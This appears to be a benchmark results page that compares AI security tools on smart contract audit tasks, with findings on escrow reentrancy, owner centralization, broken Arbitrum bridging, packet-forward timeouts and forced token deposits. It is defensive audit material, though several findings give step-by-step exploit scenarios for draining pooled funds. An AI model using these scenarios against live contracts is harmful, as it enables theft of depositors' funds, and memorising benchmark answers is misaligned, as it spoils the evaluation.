usersBalance = balance - amountin an unchecked block. There is no reentrancy guard. A contract caller re-enters withdraw() from its receive() hook while its stored balance is still unchanged, so each nested call passes theamount > balancecheck and is paid again. - Exploit scenario
-
The attacker deploys a contract and calls depositETH() with 1 ETH. It then calls withdraw(WETH, 1 ether, true). The escrow unwraps 1 WETH and sends 1 ETH to the attacker, whose receive() re-enters withdraw(WETH, 1 ether, true). The stored balance is still 1 ETH, so the check passes and another ETH is sent. This repeats until the escrow's WETH is exhausted. When the calls unwind, each frame writes usersBalance = 1 ether - 1 ether = 0, leaving the attacker with N ETH for a 1 ETH deposit.
- Recommendation
-
Update usersBalance and totalStaked before any external call (checks-effects-interactions), use checked arithmetic, and add OpenZeppelin ReentrancyGuard (nonReentrant) to withdraw, depositToken and depositETH.
Pashov (Codex GPT-6 Sol high)
Reentrant withdrawal can spend the same stake more than once
src/EscrowBase.sol:141Predicted severity: Critical- Root cause
-
The effects on usersBalance and totalStaked occur after external interactions, without a reentrancy guard.
- Impact
-
An attacker with a stake can drain assets credited to other depositors and corrupt the aggregate stake accounting.
- Description
-
withdraw reads the caller's recorded stake, then transfers tokens or sends unwrapped ETH before updating that stake. A recipient callback can enter withdraw again while the original balance is still available. Each nested call passes the same balance check and sends another payout. The unchecked totalStaked subtraction also wraps when multiple nested payouts exceed the recorded total.
- Exploit scenario
-
An attacker deposits WETH-equivalent ETH through a contract, then calls withdraw for that stake with unwrap=true. The ETH send invokes the attacker's receive callback, which calls withdraw again for the same stake before the first call updates accounting. Repeating this spends the same credited stake against pooled WETH.
- Recommendation
-
Decrease the user balance and token total before any unwrap or transfer, and add a reentrancy guard around withdrawals. Keep the aggregate subtraction checked.
Devin Security
Reentrancy in withdraw ETH unwrap path lets any depositor drain all escrowed WETH
src/EscrowBase.sol:136Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who deposits a small amount of ETH can call back into
withdrawwhile the contract is sending them ETH and pull out every other user's WETH from the escrow.##### What's wrong
This is a reentrancy bug. A reentrancy bug happens when a contract hands control to an outside address before it updates its own records, so that address can call back in and act on stale state. In
withdraw, the unwrap branch for ETH sends ETH tomsg.senderwith a rawcallbefore it lowers the caller's balance. The contract has no reentrancy guard.##### Who can do it
Alice and many other users deposit ETH into the Acme escrow, which holds it as WETH. Mallory, an anonymous user, deploys a small attacker contract and has it call
depositETHwith 1 ETH. Her contract then callswithdraw(WETH, 1 ether, true). When the escrow sends her 1 ETH, her contract'sreceivefunction callswithdraw(WETH, 1 ether, true)again. Her recorded balance is still 1 ETH, so the check passes every time.- The escrow is not yet broken (
block.timestamp < breakTimestamp).- WETH is configured with the ETH placeholder as its rebase token. Both deployment scripts do this.
- Mallory has deposited any nonzero amount of ETH or WETH.
##### What they get
Mallory repeats the callback until the escrow has no WETH left. She walks away with all ETH that every user deposited, not only her own 1 ETH. Alice and every other depositor lose their funds. After the attack, each nested call writes Mallory's balance to
balance - amountand lowerstotalStakedinside anuncheckedblock, so nothing reverts and the accounting is corrupted.##### How it works
1. Mallory's contract calls
withdraw(WETH, D, true)and the code reads her balanceDinto a local variable (src/EscrowBase.sol:141).2. The unwrap branch burns
DWETH for ETH through_unwrapETH(src/EscrowBase.sol:150).3. The contract sends
DETH to Mallory withmsg.sender.call{value: amount}before it touches storage (src/EscrowBase.sol:151).4. Mallory's
receivefunction callswithdrawagain, and the balance check at src/EscrowBase.sol:142 passes because storage still saysD.5. The loop continues until the escrow's WETH runs out. Each frame then writes
balance - amountand decrementstotalStakedwithout overflow checks (src/EscrowBase.sol:162-165). - Exploit scenario
-
Not specified.
- Recommendation
-
Update
usersBalanceandtotalStakedbefore any external call (checks-effects-interactions). Also add OpenZeppelinReentrancyGuardUpgradeable(nonReentrant) towithdraw,depositToken,depositETHand the claim and bridge functions. To check the fix, write a Foundry test with an attacker contract whosereceive()callswithdraw(WETH, amount, true)again. With the fix, the nested call should revert, and the escrow's WETH balance should drop by only the attacker's deposit.
Devin Security (Deep)
Reentrancy in withdraw() ETH path lets any depositor drain all users' ETH/WETH
src/EscrowBase.sol:141Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who deposits a little ETH can call withdraw from a contract and pull out every other user's ETH and WETH, on both the Ethereum and Arbitrum escrows.
##### What's wrong
This is a reentrancy bug. The withdraw function sends ETH to the caller before it lowers the caller's recorded balance, so a contract that receives that ETH can call withdraw again and pass the balance check a second time with the same, still unreduced balance.
##### Who can do it
Alice and other users at Acme deposit ETH into the escrow during the 30 day deposit window. Mallory, an anonymous attacker with a wallet and a small contract, deposits some ETH into the same escrow and then calls withdraw with unwrap set to true from her contract.
- The escrow has not reached its break timestamp, so withdraw is open to every user.
- WETH is registered with the ETH marker as its rebase token, which both deployment scripts do.
- Mallory calls from a contract whose fallback function calls withdraw again.
##### What they get
Mallory takes all of the ETH and WETH that every user has deposited into that escrow. She can size her own deposit with a flash loan so a single reentrant call empties the pool. The escrow's internal accounting also wraps around, so the recorded total stake becomes a huge number. Users lose their deposits and the owner has no way to recover ETH that has left the contract.
##### How it works
1. Mallory deposits X ETH through depositETH (src/EscrowBase.sol:116) and is credited X WETH.
2. She calls withdraw(WETH, X, true) (src/EscrowBase.sol:136). The balance check at line 142 passes.
3. The contract unwraps X WETH into ETH (line 150) and sends X ETH to Mallory's contract with a low level call that forwards all gas (line 151).
4. Her contract's fallback calls withdraw(WETH, X, true) again. Her recorded balance has not been reduced yet because the update at line 163 runs only after the send, so the check at line 142 passes again and another X ETH, belonging to other users, leaves the escrow.
5. She repeats until the escrow's WETH is gone. Every nested call then unwinds, writes the same stale value at line 163, and subtracts X from totalStaked inside unchecked at line 164, which underflows.
- Exploit scenario
-
Not specified.
- Recommendation
-
Move the balance and totalStaked updates (lines 162-165) above every external call so the check and the state change happen before any ETH or token leaves the contract, and remove the unchecked block around totalStaked -= amount. Also add OpenZeppelin's ReentrancyGuardUpgradeable, initialize it in _EscrowBase_init, and mark depositToken, depositETH and withdraw as nonReentrant. Verify with a Foundry test where a contract with a fallback that calls withdraw again deposits ETH and calls withdraw(WETH, amount, true); the call must revert, and after any sequence of deposits and withdrawals the escrow's WETH balance must equal the sum of all users' recorded balances and tokens[WETH].totalStaked.
Claude Security (Sonnet 5.5)
withdraw() sends ETH to msg.sender before updating balances, so the balance authorization check can be re-entered and the pooled WETH drained
src/EscrowBase.sol:151Predicted severity: Critical- Root cause
-
Vulnerable symbol: withdraw
Preconditions: The WETH token is configured with rebase == ETH_ADDRESS, as in the deployment scripts and tests.; The escrow holds WETH deposited by other users.; The escrow is not yet broke (the time window of onlyNotBroke).; WETH.withdraw can deliver ETH to the proxy within its gas stipend. The proxy's implementation slot and address are already warm inside the withdraw transaction, so this works, and the repo's own fork tests exercise this path. This is not confirmed by execution.
Offending code:
(bool success,) = msg.sender.call{value: amount}("");
- Impact
-
Any depositor can drain all WETH-backed ETH deposits in the escrow, up to the full pooled balance. Other users' balances become unbacked, and totalStaked underflows to a huge value.
- Description
-
The only authorization for a withdrawal is
amount > usersBalance[msg.sender][token]at line 142. In the ETH unwrap path the contract makes amsg.sender.call{value: amount}with full gas at line 151 and only decrementsusersBalanceandtotalStakedat lines 162-165. The attacker's receive hook can callwithdrawagain while the cached balance check still passes. - Exploit scenario
-
The attacker deploys a contract and calls depositETH() with 1 ETH, so usersBalance[attacker][WETH] = 1e18. The attacker calls withdraw(WETH, 1e18, true). The escrow calls WETH.withdraw(1e18), which sends 1 ETH to the escrow's empty payable fallback, then calls attacker.call{value: 1e18}. In the attacker's receive hook, usersBalance is still 1e18, so the hook calls withdraw(WETH, 1e18, true) again. Each nested call passes the balance check, burns 1 WETH of the escrow's pooled balance, and forwards 1 ETH. The attacker repeats this until the escrow's WETH is exhausted. The unwinding frames each write
balance - amountfrom the stale cachedbalance. TheuncheckedtotalStaked subtraction wraps silently, so nothing reverts. The attacker leaves with other depositors' WETH. - Recommendation
-
Apply checks-effects-interactions. Decrement usersBalance and totalStaked (with checked arithmetic) before any external call in withdraw(). Add a nonReentrant guard to withdraw, depositToken and depositETH. Remove the
uncheckedblock around the totalStaked subtraction.
Claude Security (Opus 5.5)
Reentrancy in withdraw() ETH-unwrap path lets any depositor withdraw the same balance repeatedly and drain all pooled WETH
src/EscrowBase.sol:151Predicted severity: Critical- Root cause
-
Vulnerable symbol: withdraw
Preconditions: Escrow is not broke (before breakTimestamp); A token is configured with rebase == ETH_ADDRESS (WETH in all shipped configs); Escrow holds WETH deposited by other users
Offending code:
(bool success,) = msg.sender.call{value: amount}("");
- Impact
-
An unprivileged attacker can steal every user's WETH/ETH deposit held in MainEscrow or BridgeEscrow. Honest users' usersBalance entries stay in place but nothing backs them, and totalStaked becomes corrupted.
- Description
-
withdraw() checks
amount <= usersBalance[msg.sender][token](line 141-142). It then sends ETH to the caller with a full-gasmsg.sender.call(line 151) before it writes the new balance (line 163). A re-entrant call therefore passes the same balance check again against the stale balance. There is no ReentrancyGuard, and line 163 assigns the cached localbalance - amountinstead of decrementing, so each nested frame just resets the balance to 0. - Exploit scenario
-
WETH is added with rebase ETH_ADDRESS, as in both deployment scripts and the tests. The attacker deploys a contract and calls depositETH{value: B}(), which credits B WETH. It then calls withdraw(WETH, B, true). The escrow unwraps B WETH from the shared pool and sends B ETH to the attacker. The attacker's receive() calls withdraw(WETH, B, true) again. usersBalance is still B, so the check passes, the escrow unwraps another B of other users' WETH, and sends it. This repeats k times, limited by the pool size, gas and call depth. When the frames unwind, each one sets usersBalance to B - B = 0, and totalStaked silently underflows inside the unchecked block. The attacker gets k*B ETH for a B deposit. A flash loan supplies B, so one transaction can empty all of the escrow's WETH.
- Recommendation
-
Follow checks-effects-interactions: decrement usersBalance and totalStaked before any external call (unwrap, ETH send, or token transfer), and do it with checked arithmetic. Also add OpenZeppelin ReentrancyGuard (nonReentrant) to withdraw, depositToken and depositETH.
Vercel Security Review
ETH withdrawal reentrancy lets a depositor drain pooled WETH
src/EscrowBase.sol:150Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A depositor's unchanged balance authorizes recursive withdrawals** -
src/EscrowBase.sol:141-142```solidity title="src/EscrowBase.sol:141-142"
uint256 balance = s.usersBalance[msg.sender][token];
if (amount > balance) revert NotEnoughAmountStaked(balance);
```
Before escrow breaks, an attacker needs only a contract account with a WETH deposit.
**2. Paying native ETH gives that account unrestricted callback control** -
src/EscrowBase.sol:150-152```solidity title="src/EscrowBase.sol:150-152"
_unwrapETH(token, amount);
(bool success,) = msg.sender.call{value: amount}("");
if (!success) revert ETHSendFailed();
```
Its receiver can reenter
withdraw; neither escrow variant adds a reentrancy guard.**3. Late accounting charges the user only once for repeated payouts** -
src/EscrowBase.sol:162-165```solidity title="src/EscrowBase.sol:162-165"
unchecked {
s.usersBalance[msg.sender][token] = balance - amount;
s.tokens[token].totalStaked -= amount;
}
```
Every frame writes the same cached balance minus amount, allowing the attacker to consume other depositors' pooled WETH.
- Exploit scenario
-
Not specified.
- Recommendation
-
Debit the user's balance and totalStaked before any external unwrap or transfer. Add a reentrancy guard covering withdrawal and interacting deposit paths, and test a recipient that recursively attempts withdrawal.
-
Centralization Risk bracket-fi-escrow-2 · 1 writeup High
Devin Security (Deep)
Owner can end the escrow at any moment, reopen it, and upgrade the contract with no delay
src/EscrowBase.sol:220Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Whoever controls the owner key can cut the promised 30-day escrow to one second and immediately sweep or bridge all user deposits, or swap the contract code, with no delay in which users could withdraw.
##### What's wrong
This is a missing timelock on admin controls. setEscrowBreak accepts any future timestamp, so the owner can move the break to the next second or reopen an escrow that already broke. withdrawEscrow sends the full balance of any token to the owner once broken, and _authorizeUpgrade lets the owner replace the implementation instantly. Nothing in the contract enforces the escrow length users were promised.
##### Who can do it
Alice deposits into Acme's escrow expecting she can withdraw at any time during the 30 days. Mallory, who has obtained Acme's owner key (a leaked deployer key or a rogue multisig quorum), calls setEscrowBreak(block.timestamp + 1), waits one block, and calls withdrawEscrow with the list of deposit tokens on Arbitrum, or bridges the funds to her own address on mainnet.
- The attacker controls the owner account. The deployment scripts make the deploying key the owner.
##### What they get
Every user's deposit, taken immediately. Users get no window to withdraw because the break is applied in the same block it is set. Reopening the escrow after funds were moved also re-enables withdraw() against a balance that no longer exists, so whatever remains goes first-come-first-served. The same key can also upgrade the contract to any code at any time, which gives the same result by a different route.
##### How it works
1. setEscrowBreak at EscrowBase.sol:220-225 only requires the new timestamp to be in the future. It has no lower bound relative to the current break and does not check whether the escrow already broke.
2. One block later _checkEscrowBreak at EscrowBase.sol:228-232 returns true, and onlyNotBroke blocks all user withdrawals.
3. withdrawEscrow at MainEscrow.sol:58-68 transfers every token balance to the owner; on mainnet the bridge functions in BridgeEscrow move the funds instead.
4. Independently, _authorizeUpgrade at EscrowBase.sol:234 allows an instant implementation swap with the same effect.
- Exploit scenario
-
Not specified.
- Recommendation
-
Make the break timestamp one-way: revert in setEscrowBreak if the escrow is already broken, and either disallow moving the timestamp earlier than the current value or require a minimum notice period (for example at least 7 days in the future). Put the owner role behind a timelock (OpenZeppelin TimelockController) so setEscrowBreak, withdrawEscrow, bridge calls and upgrades all have a public delay. Remove the unused CannotSetEscrowBreakInThePast error or use it. To check the fix, add tests asserting that setEscrowBreak reverts when called after the break and when called with a timestamp earlier than the current break, and that an upgrade proposed through the timelock cannot execute before the delay.
-
Nonpayable bridgeTokenArb function bracket-fi-escrow-3 · 4 writeups Medium
V12
Outbound request omits gateway fee and data inputs
src/BridgeEscrow.sol:47Predicted severity: Informational- Root cause
-
The Arbitrum outbound request hardcodes empty gateway data and zero forwarded native value while exposing only gas-limit and gas-price parameters. Its compatibility with the configured gateway's funding and decoding requirements is not established.
- Impact
-
Security relevance is unresolved: does the configured canonical gateway require ABI-encoded submission-cost data and native retryable-ticket funding that this call cannot provide? If so, bridging locked escrow assets fails even if the contract is separately funded with ETH; the exact missing facts are the gateway's data decoder and retryable funding checks, searched through the empty token-bridge submodule, direct router lookup and repository-wide gateway searches.
- Description
-
bridgeTokenArb()acceptsmaxGasandgasPricebut cannot accept native value and forwards no native value to the router. It also always suppliesbytes("")as the outbound request's data argument. There is no owned path to supply an encoded submission-cost field or other gateway-required fee metadata for this request. This is an integration assumption that gas parameters alone, an empty data payload, and zero forwarded ETH suffice to create the bridge transfer. The actual router and gateway implementations are absent, so required fee/data decoding and any alternative funding semantics could not be checked.
Pashov (Claude Opus 5.5 high)
bridgeTokenArb is non-functional: wrong approval target, empty gateway data and no ETH for the retryable ticket
src/BridgeEscrow.sol:47Predicted severity: Medium- Root cause
-
Incorrect integration with the Arbitrum L1GatewayRouter/L1ArbitrumGateway interface: the approval goes to the wrong spender, the gateway data is not encoded, and no ETH is supplied for retryable ticket fees.
- Impact
-
No tokens (WETH, wstETH, rETH, weETH) can be bridged to Arbitrum after the break. Users cannot withdraw after the break either, so all L1 escrow funds are frozen until the owner deploys a corrective upgrade.
- Description
-
bridgeTokenArb approves
bridgeRouterand calls outboundTransferCustomRefund withbytes("")and no msg.value. In the Arbitrum token bridge, the L1 gateway returned by router.getGateway(token), not the router, pulls tokens with safeTransferFrom. The gateway also abi-decodes_dataas (uint256 maxSubmissionCost, bytes extraData), and the Inbox requires msg.value >= maxSubmissionCost + maxGas * gasPrice. The function is non-payable and forwards no value. Each of these makes the call revert. - Exploit scenario
-
After breakTimestamp, the owner calls bridgeTokenArb(wstETH, arbEscrow, bal, gas, price). The gateway fails decoding the empty
_data, or the Inbox rejects the zero msg.value, or the gateway's transferFrom fails because the allowance was given to the router. The transaction reverts and the funds remain stuck. - Recommendation
-
Approve
bridgeRouter.getGateway(token), make the function payable, and forward{value: maxSubmissionCost + maxGas * gasPrice}. Passabi.encode(maxSubmissionCost, bytes(""))as data. Add a fork test against the real Arbitrum bridge.
Pashov (Codex GPT-6 Sol high)
Arbitrum gateway transfer receives no retryable ticket fee
src/BridgeEscrow.sol:47Predicted severity: Medium- Root cause
-
The bridge path has no way to receive or forward a retryable ticket fee and does not encode the router's expected fee data.
- Impact
-
Post-break transfers through the canonical Arbitrum gateway revert, delaying or preventing migration of escrowed assets until an implementation upgrade.
- Description
-
bridgeTokenArb is nonpayable and calls the Arbitrum L1 gateway router without attaching ETH, so the router receives zero value. Standard Arbitrum outbound transfers require ETH to pay retryable ticket submission and execution fees. The call also passes empty router data instead of a submission-cost payload. The router implementation is not staged, so its exact fee and data checks could not be verified locally.
- Exploit scenario
-
The owner calls bridgeTokenArb with a positive amount, maxGas, and gasPrice. The router receives msg.value=0; a retryable ticket with positive submission or execution cost cannot be funded and the outbound transfer reverts.
- Recommendation
-
Make the bridge operation payable or otherwise fund the gateway call, forward the required fee, and encode the gateway's expected submission-cost data. Test against the deployed gateway interface.
Devin Security (Deep)
Both bridge-out functions always revert (unset renzoLockbox, wrong Arbitrum approval target, empty data, no ETH), locking L1 funds after escrow break until an upgrade
src/BridgeEscrow.sol:20Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After the escrow breaks, neither bridge function in the Ethereum escrow can succeed, so users' funds stay locked until the owner ships an upgrade.
##### What's wrong
Two functional defects in the only exit paths. bridgeTokenConnext uses the renzoLockbox variable, which is never assigned anywhere, so it calls address zero. bridgeTokenArb approves the Arbitrum router instead of the per-token gateway that actually pulls the tokens, passes empty data where the gateway expects an encoded submission cost, and is not payable so it cannot forward the ETH the retryable ticket requires.
##### Who can do it
Alice deposits wstETH and ezETH into the Ethereum escrow. The escrow breaks. Acme's multisig calls bridgeTokenArb and bridgeTokenConnext to move the funds to Arbitrum. Both calls revert. No attacker is involved.
- The escrow has passed its break timestamp, so withdraw is closed to users by onlyNotBroke.
- BridgeEscrow has no withdrawEscrow function, so the two bridge functions are the only way funds leave.
##### What they get
Nobody steals anything. Alice's funds and everyone else's stay frozen in the Ethereum escrow, and the brktETH issuance on Arbitrum that depends on the bridged assets cannot proceed, until the owner writes, tests and deploys a new implementation through the UUPS upgrade path. If the owner key is lost the funds are stuck permanently.
##### How it works
1. renzoLockbox is declared (src/BridgeEscrow.sol:21) but initialize (lines 31-45) never sets it and there is no setter.
2. bridgeTokenConnext calls renzoLockbox.XERC20() (line 63) on address zero; Solidity's code size check on high level calls makes this revert.
3. bridgeTokenArb approves bridgeRouter (line 52), but the Arbitrum L1 router forwards the call to the token's gateway, and the gateway performs safeTransferFrom(escrow, gateway, amount), so the allowance sits on the wrong contract.
4. The router wraps the caller's data and the gateway decodes it as (uint256 maxSubmissionCost, bytes extraData); decoding the empty bytes passed at line 53 reverts.
5. The function is not payable and forwards no ETH (lines 47-53), but creating the retryable ticket requires msg.value to cover the submission cost and L2 gas.
- Exploit scenario
-
Not specified.
- Recommendation
-
Set renzoLockbox in initialize with a zero address check, or add an owner-only setter. In bridgeTokenArb, make the function payable, approve bridgeRouter.getGateway(token) instead of the router, pass abi.encode(maxSubmissionCost, bytes("")) as the data argument, and forward msg.value to outboundTransferCustomRefund. Consider adding an owner-only, post-break withdrawEscrow to BridgeEscrow as a recovery path that does not require an upgrade. Verify with mainnet fork tests that skip past the break timestamp, call both functions, and assert the escrow's token balance decreases and the expected gateway and Connext events are emitted; the BridgeEscrow test file currently lists these as TODOs.
-
Allowance given to incorrect address bracket-fi-escrow-4 · 3 writeups Medium
V12
Router approval assumes the actual token spender
src/BridgeEscrow.sol:47Predicted severity: Informational- Root cause
-
The approve-then-route flow fixes the spender to
bridgeRouterwithout establishing that it is the contract consuming the escrow's ERC20 allowance. Downstream spender semantics are unavailable for verification. - Impact
-
Security relevance is unresolved: does the configured router pull escrow tokens itself, or does a gateway require allowance from the escrow? If the gateway is the spender, the route cannot move user funds after withdrawals are disabled; the exact missing fact is the deployed router/gateway transfer implementation, searched in
lib/token-bridge-contractsand repository-wide gateway and Solidity searches. - Description
-
bridgeTokenArb()approves onlybridgeRouterand then delegates transfer handling tooutboundTransferCustomRefund(). The owned code neither resolves a token-specific gateway nor approves any downstream spender. This couples authorization to the routing endpoint, although the exact contract executingtransferFromis not established by any available implementation. All library Solidity searches were empty, the token-bridge submodule directory is empty, and readingL1GatewayRouter.solfailed. The candidate is therefore the fixed-spender integration assumption, not a verified claim that a particular gateway actually pulls these tokens.
Pashov (Claude Opus 5.5 high)
bridgeTokenArb is non-functional: wrong approval target, empty gateway data and no ETH for the retryable ticket
src/BridgeEscrow.sol:47Predicted severity: Medium- Root cause
-
Incorrect integration with the Arbitrum L1GatewayRouter/L1ArbitrumGateway interface: the approval goes to the wrong spender, the gateway data is not encoded, and no ETH is supplied for retryable ticket fees.
- Impact
-
No tokens (WETH, wstETH, rETH, weETH) can be bridged to Arbitrum after the break. Users cannot withdraw after the break either, so all L1 escrow funds are frozen until the owner deploys a corrective upgrade.
- Description
-
bridgeTokenArb approves
bridgeRouterand calls outboundTransferCustomRefund withbytes("")and no msg.value. In the Arbitrum token bridge, the L1 gateway returned by router.getGateway(token), not the router, pulls tokens with safeTransferFrom. The gateway also abi-decodes_dataas (uint256 maxSubmissionCost, bytes extraData), and the Inbox requires msg.value >= maxSubmissionCost + maxGas * gasPrice. The function is non-payable and forwards no value. Each of these makes the call revert. - Exploit scenario
-
After breakTimestamp, the owner calls bridgeTokenArb(wstETH, arbEscrow, bal, gas, price). The gateway fails decoding the empty
_data, or the Inbox rejects the zero msg.value, or the gateway's transferFrom fails because the allowance was given to the router. The transaction reverts and the funds remain stuck. - Recommendation
-
Approve
bridgeRouter.getGateway(token), make the function payable, and forward{value: maxSubmissionCost + maxGas * gasPrice}. Passabi.encode(maxSubmissionCost, bytes(""))as data. Add a fork test against the real Arbitrum bridge.
Devin Security (Deep)
Both bridge-out functions always revert (unset renzoLockbox, wrong Arbitrum approval target, empty data, no ETH), locking L1 funds after escrow break until an upgrade
src/BridgeEscrow.sol:20Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After the escrow breaks, neither bridge function in the Ethereum escrow can succeed, so users' funds stay locked until the owner ships an upgrade.
##### What's wrong
Two functional defects in the only exit paths. bridgeTokenConnext uses the renzoLockbox variable, which is never assigned anywhere, so it calls address zero. bridgeTokenArb approves the Arbitrum router instead of the per-token gateway that actually pulls the tokens, passes empty data where the gateway expects an encoded submission cost, and is not payable so it cannot forward the ETH the retryable ticket requires.
##### Who can do it
Alice deposits wstETH and ezETH into the Ethereum escrow. The escrow breaks. Acme's multisig calls bridgeTokenArb and bridgeTokenConnext to move the funds to Arbitrum. Both calls revert. No attacker is involved.
- The escrow has passed its break timestamp, so withdraw is closed to users by onlyNotBroke.
- BridgeEscrow has no withdrawEscrow function, so the two bridge functions are the only way funds leave.
##### What they get
Nobody steals anything. Alice's funds and everyone else's stay frozen in the Ethereum escrow, and the brktETH issuance on Arbitrum that depends on the bridged assets cannot proceed, until the owner writes, tests and deploys a new implementation through the UUPS upgrade path. If the owner key is lost the funds are stuck permanently.
##### How it works
1. renzoLockbox is declared (src/BridgeEscrow.sol:21) but initialize (lines 31-45) never sets it and there is no setter.
2. bridgeTokenConnext calls renzoLockbox.XERC20() (line 63) on address zero; Solidity's code size check on high level calls makes this revert.
3. bridgeTokenArb approves bridgeRouter (line 52), but the Arbitrum L1 router forwards the call to the token's gateway, and the gateway performs safeTransferFrom(escrow, gateway, amount), so the allowance sits on the wrong contract.
4. The router wraps the caller's data and the gateway decodes it as (uint256 maxSubmissionCost, bytes extraData); decoding the empty bytes passed at line 53 reverts.
5. The function is not payable and forwards no ETH (lines 47-53), but creating the retryable ticket requires msg.value to cover the submission cost and L2 gas.
- Exploit scenario
-
Not specified.
- Recommendation
-
Set renzoLockbox in initialize with a zero address check, or add an owner-only setter. In bridgeTokenArb, make the function payable, approve bridgeRouter.getGateway(token) instead of the router, pass abi.encode(maxSubmissionCost, bytes("")) as the data argument, and forward msg.value to outboundTransferCustomRefund. Consider adding an owner-only, post-break withdrawEscrow to BridgeEscrow as a recovery path that does not require an upgrade. Verify with mainnet fork tests that skip past the break timestamp, call both functions, and assert the escrow's token balance decreases and the expected gateway and Connext events are emitted; the BridgeEscrow test file currently lists these as TODOs.
-
-
Celestia PFM Go Cosmos IBC packet-forward middleware. Tasks 2 V12 1/2 Codex Sec 0/2 Pashov Opus — Pashov GPT-6 — Devin 0/2 Devin (Deep) 0/2 Claude Sec 0/2 Claude Opus 0/2 Vercel 0/2
Cosmos IBC packet-forward middleware.
Read the audit report-
There is no upper limit to the time-out on PFM packets celestia-pfm-1 · 1 writeup Medium
V12
Forwarding lifetime lacks an operational upper bound
middleware/packet-forward-middleware/packetforward/types/forward.go:18Predicted severity: Informational- Root cause
-
Positive memo-specified durations bypass the middleware's configured default without a maximum or cumulative-lifetime check. Deferred acknowledgements and retry scheduling use that unchecked duration as their recovery deadline.
- Impact
-
A packet author can request exceptionally long-lived pending forwarding state when the next hop does not acknowledge the packet; the original transfer then depends on that hop's acknowledgement or far-future timeout for recovery. The demonstrated custody consequence concerns that packet's own funds, not unauthorized locking of another user's assets; whether sustained creation of such records threatens deployment availability is unresolved because admissible packet volume, storage budgets, and any downstream lifetime cap were not available in the searched module and simapp wiring.
- Description
-
ForwardMetadata.Validateconstrains receiver, port, and channel but does not constrain the maximum positive timeout or total retry lifetime. The string decoder accepts representable Go durations such as2562047h, andOnRecvPacketonly replaces durations less than or equal to zero with its default.ForwardTransferPacketuses the resulting duration to create a timestamp hundreds of years ahead, sets the timeout height to zero, and saves both the original packet data and the duration after a successful transfer. Successful receipt returns no acknowledgement for the original packet, and retries reuse the same duration, with up to 255 retries expressible by the remote memo. There is no deadline cap or independent expiry/reconciliation path in the reviewed receive, send, acknowledgement, and timeout consumers.
- Missing prefix for RefundPacketKey celestia-pfm-2 Medium
-
-
Chainlocker Solidity Self-custody escrow for buyer/seller deals. Tasks 6 V12 6/6 Codex Sec 3/6 Pashov Opus 4/6 Pashov GPT-6 3/6 Devin 3/6 Devin (Deep) 4/6 Claude Sec 4/6 Claude Opus 3/6 Vercel 3/6
Self-custody escrow for buyer/seller deals.
Read the audit report-
Potential funds loss for buyers upon approval chainlocker-1 · 9 writeups Critical
V12
Unrelated callers force deposits from approved owners
src/TokenLocker.sol:417Predicted severity: High- Root cause
-
The deposit flow treats allowance to the contract as authorization for any external caller to choose when and how much the owner deposits. It provides no caller-to-owner binding or explicit operator authorization for the escrow action.
- Impact
-
An external caller can force an approved owner's tokens into an escrow and trigger non-refundable forfeiture to the seller on expiry. This is conditional on an outstanding allowance to the locker; the attacker does not obtain authority over wallets that have not approved it.
- Description
-
depositTokens()accepts a caller-selected_depositorand checks that address's allowance, but never checks whether the caller is that depositor or an authorized operator. In an identified-buyer locker, the only identity check is_depositor == buyer, which anyone can satisfy by supplying the buyer's address. An unrelated caller can therefore pull tokens from a buyer who has approved the locker but has not submitted a deposit action. In a non-refundable locker, crossing the deposit threshold commits those tokens to the seller's expiry payout even if the buyer never approves execution. The permit path also has no separate action authorization, although it additionally requires a valid token permit.
Codex Security (GPT-6 Sol)
Any caller can commit a victim's approved tokens to escrow
src/TokenLocker.sol:417Predicted severity: Medium- Root cause
-
The deposit API takes
_depositorfrom an arbitrary caller, checks only a token allowance or permit and the chosen depositor address, then callstransferFromfor that account. Token spending approval is not tied to a particular escrow action, caller, or time. - Impact
-
Exploitation requires a prior locker-specific approval or an unused permit, but can then commit real tokens and pay a nonrefundable deposit to an attacker-controlled seller.
- Description
-
depositTokensaccepts any caller's_depositoraddress and uses that account's locker allowance, allowing a malicious seller to force a victim's tokens into a nonrefundable escrow. - Exploit scenario
-
Victim grants locker-specific allowance or signs a permit; malicious seller or third party submits the deposit first; expiry routes the nonrefundable deposit to seller.
- Recommendation
-
Require the depositor to submit the ordinary deposit transaction, or verify a separate depositor authorization that binds the locker, amount, escrow terms and deadline before third-party submission.
Pashov (Claude Opus 5.5 high)
depositTokenslets anyone pull tokens from any address that has approved the lockersrc/TokenLocker.sol:417Predicted severity: Medium- Root cause
-
There is no check that the caller is, or is authorised by,
_depositor. - Impact
-
A victim who approved the locker, for example in the approve step of a two-transaction flow or with an infinite approval, can have tokens moved without consent. The tokens are bound to a non-refundable deposit, or credited to a pool that the current
buyer(possibly the attacker) receives at expiry. Combined with the expiry settlement in F-001, this is direct theft. - Description
-
depositTokens(_depositor, _amount)takes an arbitrary_depositorand callstransferFrom(_depositor, this, _amount)without checkingmsg.sender == _depositor. Any third party can therefore choose when, and how much of, an approver's allowance is moved into the locker. In an open offer they can also make the victim the buyer, or move the victim's tokens in while someone else is already buyer. - Exploit scenario
-
Open offer, non-refundable. Attacker B becomes buyer by depositing
deposit. Victim V approves the locker fortotalAmount - deposit, planning to join or to deposit after B is rejected. B front-runs V's deposit withdepositTokens(V, allowance). V's tokens enter the locker, butbuyeris B, so at expiry all non-deposit funds go to B. Alternatively the seller forces an approver into a non-refundable deposit and collects it at expiry. - Recommendation
-
Require
_depositor == msg.sender(or use msg.sender directly) fordepositTokens.
Pashov (Codex GPT-6 Sol high)
Any caller can force a token allowance into a nonrefundable escrow
src/TokenLocker.sol:417Predicted severity: High- Root cause
-
The allowance-based deposit path lacks a msg.sender==_depositor check or signed instruction binding the depositor to this call and escrow cycle.
- Impact
-
A seller can force a buyers tokens into escrow and claim the configured nonrefundable deposit at expiry, including by spending a standing allowance after an earlier cycle. High severity: a seller can force a full allowance-backed payment and collect it as a nonrefundable deposit.
- Description
-
depositTokens accepts any depositor address and only checks that it has granted the locker an ERC20 allowance. Any caller can initiate transferFrom on that allowance without the token owners per-call authorization, including when the resulting deposit is nonrefundable.
- Exploit scenario
-
